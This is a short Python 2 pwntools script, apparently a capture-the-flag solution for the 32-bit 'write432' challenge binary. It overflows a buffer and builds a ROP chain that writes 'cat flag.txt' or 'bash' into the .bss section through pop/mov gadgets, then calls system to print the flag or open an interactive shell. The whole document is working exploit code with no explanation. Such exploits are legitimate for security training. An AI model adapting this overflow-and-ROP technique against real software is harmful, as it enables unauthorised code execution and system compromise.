#!/usr/bin/env python
# Author : 0xsegf
# https://github.com/arjunshibu
# https://www.hackthebox.eu/home/users/profile/201892
from pwn import *

context.log_level = 'critical'

p = process('./write432')

bss = 0x0804a040         # .bss
pop = p32(0x080486da)    # pop edi ; pop ebp ; ret
mov = p32(0x08048670)    # mov DWORD PTR [edi],ebp
system = p32(0x8048430)  # system@plt

def ropchain(mode):
    rop = cyclic(44)
    if mode == 'flag':
        rop += pop
        rop += p32(bss)
        rop += "cat "
        rop += mov
        rop += pop
        rop += p32(bss+4)
        rop += "flag"
        rop += mov
        rop += pop
        rop += p32(bss+8)
        rop += ".txt"
    elif mode == 'shell':
        rop += pop
        rop += p32(bss)
        rop += "bash"
    rop += mov
    rop += system
    rop += cyclic(4)
    rop += p32(bss)
    return rop

print p.recvuntil('>')
p.sendline(ropchain('shell'))
print p.recv()
p.interactive()
